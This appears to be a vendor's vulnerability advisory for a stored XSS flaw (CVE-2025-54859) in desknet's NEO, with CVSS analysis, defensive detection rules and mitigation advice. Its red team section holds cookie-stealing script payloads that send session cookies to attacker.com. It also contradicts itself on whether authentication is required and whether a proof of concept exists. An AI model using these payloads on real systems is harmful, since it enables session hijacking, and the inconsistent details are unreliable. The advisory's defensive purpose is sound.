CVE-2025-54859
Executive Summary
CVE-2025-54859 is a stored cross-site scripting (XSS) vulnerability affecting desknet's NEO V9.0R2.0 and earlier. This flaw allows an authenticated attacker to inject arbitrary JavaScript into the application, which is then stored and executed in the browsers of other users who view the affected page. The vulnerability has a CVSS score of 4.8 (Medium) and a low EPSS score of 0.0%, indicating limited active exploitation at this time. No public proof-of-concept (PoC) code or patch details are currently available. The vendor has not released a security update, leaving all installations of V9.0R2.0 and earlier at risk.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It affects a proprietary enterprise application (desknet's NEO) and is not part of a software supply chain ecosystem.
CVSS Breakdown & Threat Level
- CVSS Score: 4.8 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – The attacker does not need to be authenticated to trigger the stored XSS, but they must have access to inject the payload (e.g., via a compromised account or a form submission).
- User Interaction (UI): Required (R) – The victim must click on or view the malicious content.
- Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for session hijacking or data theft in an enterprise environment elevates the risk.
Deep Dive & Mechanics
The vulnerability resides in the desknet's NEO web application, specifically in how it handles user-supplied input within certain fields (likely comments, notes, or profile fields). The application fails to properly sanitize or encode user input before storing it in the database and later rendering it in a web page. This allows an attacker to inject malicious HTML and JavaScript code.
Attack Flow:
- Reconnaissance: The attacker identifies a desknet's NEO instance (e.g., via Shodan dork
desknet's NEO). - Injection: The attacker submits a payload (e.g.,
<script>alert('XSS')</script>) into a vulnerable input field (e.g., a task comment or user profile). - Storage: The application stores the malicious input in its database without sanitization.
- Execution: When another user (victim) views the page containing the stored payload, the browser executes the injected JavaScript.
- Impact: The attacker can steal session cookies, redirect the victim to a phishing site, or perform actions on behalf of the victim.
Root Cause: Lack of output encoding and input validation in the application's rendering logic. The application likely uses a templating engine that does not automatically escape HTML entities.
Vulnerable vs. Patched Code
Since no patch is available, a comparison cannot be made. However, a typical fix would involve:
Vulnerable Code (Conceptual):
// Vulnerable: Directly outputs user input without sanitization
echo "<div class='comment'>" . $_POST['comment'] . "</div>";
Patched Code (Conceptual):
// Patched: Uses htmlspecialchars to escape HTML entities
echo "<div class='comment'>" . htmlspecialchars($_POST['comment'], ENT_QUOTES, 'UTF-8') . "</div>";
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Deploy a vulnerable instance of desknet's NEO V9.0R2.0 (e.g., using a Docker container or a local VM).
- Create a user account with privileges to post comments or update profiles.
- Use a browser or tool like Burp Suite to intercept and modify requests.
Exploitation Steps:
- Log in to the application.
- Navigate to a vulnerable input field (e.g., "Add Comment").
- Inject a payload such as:
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> - Submit the form.
- When another user views the comment, their browser will execute the script and send their session cookie to the attacker's server.
Alternative Payload (Session Hijacking):
<img src=x onerror="fetch('http://attacker.com/steal?c='+document.cookie)">
Blue Team (Defensive)
Detection:
- Monitor web application logs for unusual input patterns (e.g.,
<script>,onerror,javascript:). - Use a Web Application Firewall (WAF) to block common XSS payloads.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Mitigation:
- Apply input validation and output encoding (see Remediation section).
- Restrict user permissions to limit who can inject content.
- Regularly scan for stored XSS using automated tools.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to attacker-controlled domains containing
cookie=ordocument.cookie. - Unusual
Refererheaders pointing to desknet's NEO pages.
- Outbound HTTP requests to attacker-controlled domains containing
- Host IOCs:
- Presence of
<script>tags in database fields (e.g., comments, notes). - Unexpected JavaScript files or inline scripts in the application's HTML source.
- Presence of
- Log IOCs:
- Repeated failed attempts to inject XSS payloads (e.g., 400/403 errors from WAF).
- Log entries showing
alert('XSS')or similar test payloads.
Detection Engineering
YARA Rule
rule Detect_Stored_XSS_Payload {
meta:
description = "Detects common stored XSS payloads in web application logs or database dumps"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-54859"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /onerror\s*=\s*["']?[^"']*["']?/is
$xss3 = /onload\s*=\s*["']?[^"']*["']?/is
$xss4 = /javascript\s*:\s*/is
condition:
any of them
}
Sigma Rule
title: Stored XSS Attempt in desknet's NEO
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential stored XSS payloads in HTTP requests to desknet's NEO
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains:
- '/comment'
- '/profile'
- '/note'
cs-method: 'POST'
cs-uri-query|contains:
- '<script'
- 'onerror'
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in admin panels (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-54859 - Stored XSS Payload in desknet's NEO";
flow:to_server,established;
content:"POST"; http_method;
content:"/comment"; http_uri;
content:"<script"; http_client_body;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable vulnerable features: If possible, disable user input fields that allow HTML (e.g., comments, rich text editors) until a patch is available.
- Implement WAF rules: Block common XSS patterns (e.g.,
<script>,onerror,javascript:). - Apply CSP: Add a Content Security Policy header to restrict script execution:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
Long-Term Fix:
- Vendor Patch: Await an official patch from desknet's. Contact the vendor for an ETA.
- Code Hardening: If you have access to the source code, implement output encoding using
htmlspecialchars()(PHP) or equivalent in other languages. - Input Validation: Whitelist allowed characters for input fields (e.g., no
<or>).
Workaround:
- Use a reverse proxy (e.g., Nginx) to filter malicious requests:
location / { if ($request_body ~* "<script") { return 403; } }
Valters IT
Securing digital frontiers with intelligence and precision.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.